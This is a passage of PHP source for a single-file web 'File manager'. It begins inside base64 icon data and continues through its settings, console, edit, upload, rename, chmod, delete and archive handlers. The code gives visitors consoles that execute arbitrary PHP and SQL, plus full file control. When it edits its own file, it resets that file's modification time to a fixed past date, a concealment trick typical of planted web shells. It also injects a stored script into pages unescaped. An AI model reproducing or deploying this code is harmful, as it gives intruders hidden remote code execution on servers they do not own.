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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
